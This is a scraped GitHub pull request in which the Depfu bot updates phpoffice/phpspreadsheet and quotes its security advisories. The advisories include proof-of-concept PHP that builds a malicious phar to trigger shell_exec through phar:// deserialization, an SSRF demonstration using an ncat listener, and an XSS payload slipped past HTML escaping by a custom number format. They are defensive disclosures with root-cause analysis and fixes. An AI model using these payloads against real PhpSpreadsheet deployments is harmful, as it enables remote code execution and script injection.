🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor) by depfu[bot] · Pull Request #101 · LuisAPI/BASA-Chatbot

depfu · 2026-04-24T06:15:14Z

Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ phpoffice/phpspreadsheet (5.0.0 → 5.7.0) · Repo · Changelog

Security Advisories 🚨

🚨 PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

🚨 PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

🚨 PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

phar.readonly=0

make_phar.php to create the malicious file:

<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->addFromString('whatever', 'dummy content');

$phar->setMetadata($pop);

$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx'); // optional

echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

<?php
require 'vendor/autoload.php';
use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-smi">IOFactory;
class GadgetClass {

public $data;

function __construct($d) {

$this->data = $d;

}

function __destruct() {

shell_exec($this->data);

}

}
$filename = $argv[1] ?? null;
if (!$filename) {

echo "Usage: php test.php <path>\n";

echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";

exit(1);

}
echo "Calling IOFactory::load('" . $filename . "')\n";
try {

$spreadsheet = IOFactory::load($filename);

var_dump($spreadsheet);

} catch (Throwable $e) {

echo "Vuln has still triggered even if exception triggers.\n";

}

RCE

Run the PoC (for RCE):

php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt

The file /tmp/poc.txt should now be present on disk.

SSRF

Run the PoC (for SSRF):

ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:

IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }
<span class="pl-c">/** @param mixed[] $data */</span>
<span class="pl-k">public</span> <span class="pl-k">function</span> <span class="pl-en">__unserialize</span>(<span class="pl-smi">array</span> <span class="pl-s1"><span class="pl-c1">$</span>data</span>): <span class="pl-smi">void</span>
{
    <span class="pl-s1"><span class="pl-c1">$</span><span class="pl-smi">this</span></span>-&gt;<span class="pl-c1">tempFileName</span> = <span class="pl-s">''</span>;

    <span class="pl-k">throw</span> <span class="pl-k">new</span> <span class="pl-v">SpreadsheetException</span>(<span class="pl-s">'<span class="pl-s">Unserialize not permitted</span>'</span>);
}</pre></div>

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.
Suggested mitigations
Use is_file only after making sure the filename does not contain any php wrapper:
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}
or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}
// from here on, $real should be a clean absolute path so we can pass it to is_file()

if (!is_file($real)) {

throw new ...

}


Note: stream_is_local() would also not be safe here — as it considers phar:// to be local and would not block it.

🚨 PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in `Html.php:1586-1594`

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);
if ($cellData === $origData) {

$cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());

}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in `Formatter.php:136-152`

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php
require '/app/vendor/autoload.php';
use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-smi">Spreadsheet;

use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-v">Writer<span class="pl-smi">Html;
$spreadsheet = new Spreadsheet();

$sheet = $spreadsheet->getActiveSheet();
$payload    = '<img src=x onerror=alert(document.domain)>';

$formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload);

$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet);

$html = $writer->generateHTMLAll();
file_put_contents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>
<body>

<div style='page: page0'>

<table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>

<col class="col0" />

<tbody>

<tr class="row0">

<td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>

</tr>

</tbody></table>

</div>

</body>

</html>

Impact

The impact changes based on the way the HTML is served.
In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

🚨 PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Release Notes

5.7.0

5.6.0

5.5.0

5.4.0

5.3.0

5.2.0

5.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

Update phpoffice/phpspreadsheet to version 5.7.0

74e191e

depfu Bot added the depfu label Apr 24, 2026

depfu Bot mentioned this pull request Apr 24, 2026

[php] Update phpoffice/phpspreadsheet 5.0.0 → 5.5.0 (minor) #67

Closed

depfu Bot changed the title ~~[php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor)~~ 🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor) Apr 29, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor)#101

🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor)#101
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/composer/phpoffice/phpspreadsheet-5.7.0

depfu Bot commented Apr 24, 2026 •

edited

Loading

Suggested mitigations

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Format Code	Result	Escaped?
`General` (default)	Original value	YES (safe)
`. @`	`.` + value	NO (XSS!)
`@` (trailing space)	value +	NO (XSS!)
`x@`	`x` + value	NO (XSS!)

Conversation

depfu Bot commented Apr 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

What changed?

✳️ phpoffice/phpspreadsheet (5.0.0 → 5.7.0) · Repo · Changelog

Summary

Details

PoC

Impact

Recommended Fix

Summary

Details

PoC

Impact

Recommended Fix

PoC

RCE

SSRF

Root Cause Analysis

Suggested mitigations

Summary

Details

1. Conditional escaping in Html.php:1586-1594

2. Early return in Formatter.php:136-152

PoC

Impact

The Problem

Proof of Concept

Tested Bypass Formats

Impact

Suggested Fix

Reporter

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

depfu Bot commented Apr 24, 2026 •

edited

Loading

1. Conditional escaping in `Html.php:1586-1594`

2. Early return in `Formatter.php:136-152`